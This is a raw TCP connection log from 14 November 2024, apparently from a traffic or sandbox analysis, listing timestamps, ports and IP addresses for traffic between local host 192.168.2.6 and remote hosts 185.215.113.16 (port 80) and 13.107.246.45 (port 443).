Nov 14, 2024 17:24:39.333163023 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.333173990 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.333188057 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.333198071 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.333868027 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.333878994 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.333889961 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.333899975 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.333910942 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.333920956 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.333924055 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.333944082 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.333962917 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.395610094 CET	443	49843	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.402990103 CET	49843	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.403016090 CET	443	49843	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.404298067 CET	49843	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.404304981 CET	443	49843	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.448724031 CET	443	49844	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.449392080 CET	49844	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.449413061 CET	443	49844	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.449903011 CET	49844	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.449908018 CET	443	49844	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.533565044 CET	443	49843	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.533643007 CET	443	49843	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.533772945 CET	443	49843	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.533802986 CET	49843	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.533857107 CET	49843	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.534008026 CET	49843	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.534008026 CET	49843	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.534024954 CET	443	49843	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.534033060 CET	443	49843	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.537305117 CET	49847	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.537395000 CET	443	49847	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.537574053 CET	49847	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.537756920 CET	49847	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.537775993 CET	443	49847	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.547879934 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.547943115 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.584319115 CET	443	49844	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.584367037 CET	443	49844	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.584522963 CET	49844	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.584635973 CET	49844	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.584645033 CET	443	49844	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.584671974 CET	49844	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.584676981 CET	443	49844	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.587729931 CET	49848	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.587747097 CET	443	49848	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.588597059 CET	49848	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.588597059 CET	49848	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.588623047 CET	443	49848	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.638525963 CET	443	49846	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.639059067 CET	49846	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.639072895 CET	443	49846	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.639616966 CET	49846	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.639620066 CET	443	49846	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.642780066 CET	443	49845	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.646111012 CET	49845	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.646140099 CET	443	49845	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.646543980 CET	49845	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.646555901 CET	443	49845	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.650233984 CET	443	49842	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.650571108 CET	49842	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.650607109 CET	443	49842	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.650954008 CET	49842	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.650960922 CET	443	49842	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.770143986 CET	443	49846	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.770948887 CET	443	49846	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.771022081 CET	49846	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.771420956 CET	49846	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.771420956 CET	49846	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.771428108 CET	443	49846	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.771436930 CET	443	49846	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.775717020 CET	49849	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.775754929 CET	443	49849	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.775928974 CET	49849	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.776439905 CET	49849	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.776451111 CET	443	49849	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.779879093 CET	443	49845	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.779958963 CET	443	49845	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.780076027 CET	443	49845	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.780108929 CET	49845	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.780189991 CET	49845	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.780189991 CET	49845	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.780252934 CET	49845	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.780262947 CET	443	49845	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.785948038 CET	443	49842	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.786489964 CET	443	49842	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.786514044 CET	49850	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.786530018 CET	443	49850	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.786597967 CET	49850	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.786604881 CET	49842	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.786676884 CET	49842	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.786676884 CET	49842	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.786689997 CET	443	49842	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.786703110 CET	443	49842	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.786822081 CET	49850	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.786829948 CET	443	49850	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.790766954 CET	49851	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.790807009 CET	443	49851	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.791342020 CET	49851	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.791342020 CET	49851	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:39.791374922 CET	443	49851	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:39.822534084 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.827445984 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.827455997 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.827466965 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.827574015 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.827584028 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.827593088 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.827604055 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.827603102 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.827625990 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.827769041 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.827941895 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.827951908 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.827969074 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.827979088 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.827987909 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.827996969 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.827999115 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.828007936 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.828016996 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.828023911 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.828044891 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.828610897 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.828620911 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.828629971 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.828639984 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.828649044 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.828659058 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.828665972 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.828668118 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.828677893 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.828691959 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.828721046 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.829298019 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.829308033 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.829318047 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.829325914 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.829335928 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.829345942 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.829354048 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.829364061 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.829364061 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.829364061 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.829372883 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.829377890 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.829389095 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.829416990 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.829432011 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.830255032 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.830265999 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.830275059 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.830284119 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.830292940 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.830301046 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.830311060 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.830315113 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.830319881 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.830329895 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.830341101 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.830349922 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.830351114 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.830370903 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.830854893 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.831015110 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.831026077 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.831034899 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.831046104 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.831054926 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.831078053 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.831099987 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.831110001 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.831115961 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.831118107 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.831129074 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.831136942 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.831146955 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.831170082 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.831238985 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.832015991 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.832027912 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.832036972 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.832046986 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.832061052 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.832068920 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.832071066 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.832078934 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.832088947 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.832098007 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.832107067 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.832113028 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.832117081 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.832139015 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.832139015 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.832930088 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.832942963 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.832954884 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.832964897 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.832973957 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.832982063 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.832993031 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.832995892 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.833002090 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.833023071 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.833030939 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.833038092 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.833041906 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.833338022 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.833823919 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.833834887 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.833842993 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.833852053 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.833861113 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.833869934 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.833879948 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.833889008 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.833893061 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.833899021 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.833908081 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.833920002 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.833930016 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.833952904 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.833952904 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.834769011 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.834779024 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.834788084 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.834798098 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.834805965 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.834815979 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.834820986 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.834825039 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.834837914 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.834847927 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.834857941 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.834865093 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.834867001 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.834881067 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.834893942 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.834986925 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.835668087 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.835680008 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.835689068 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.835700989 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.835710049 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.835719109 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.835727930 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.835736036 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.835738897 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.835747957 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.835758924 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.835767984 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.835767984 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.835779905 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.835803986 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.836572886 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.836584091 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.836591959 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.836601019 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.836608887 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.836620092 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.836630106 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.836636066 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.836639881 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.836648941 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.836658955 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.836667061 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.836677074 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.836685896 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.836685896 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.836699009 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.837481976 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.837491989 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.837501049 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.837511063 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.837521076 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.837531090 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.837538958 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.837546110 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.837549925 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.837558031 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.837568045 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.837577105 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.837583065 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.837605000 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.837774992 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.838404894 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.838416100 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.838424921 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.838434935 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.838444948 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.838454008 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.838463068 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.838474989 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.838483095 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.838493109 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.838501930 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.838504076 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.838504076 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.838517904 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.838565111 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.839293003 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.839307070 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.839320898 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.839332104 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.839342117 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.839351892 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.839365005 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.839370012 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.839379072 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.839389086 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.839396000 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.839399099 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.839441061 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.840123892 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.840135098 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.840146065 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.840156078 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.840166092 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.840190887 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.840235949 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.840645075 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.840657949 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.840667009 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.840677977 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.840688944 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.840698004 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.840708971 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.840709925 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.840719938 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.840730906 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.840742111 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.840747118 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.840751886 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.840769053 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.840790033 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.840903997 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.841418028 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.841430902 CET	80	49830	185.215.113.16	192.168.2.6
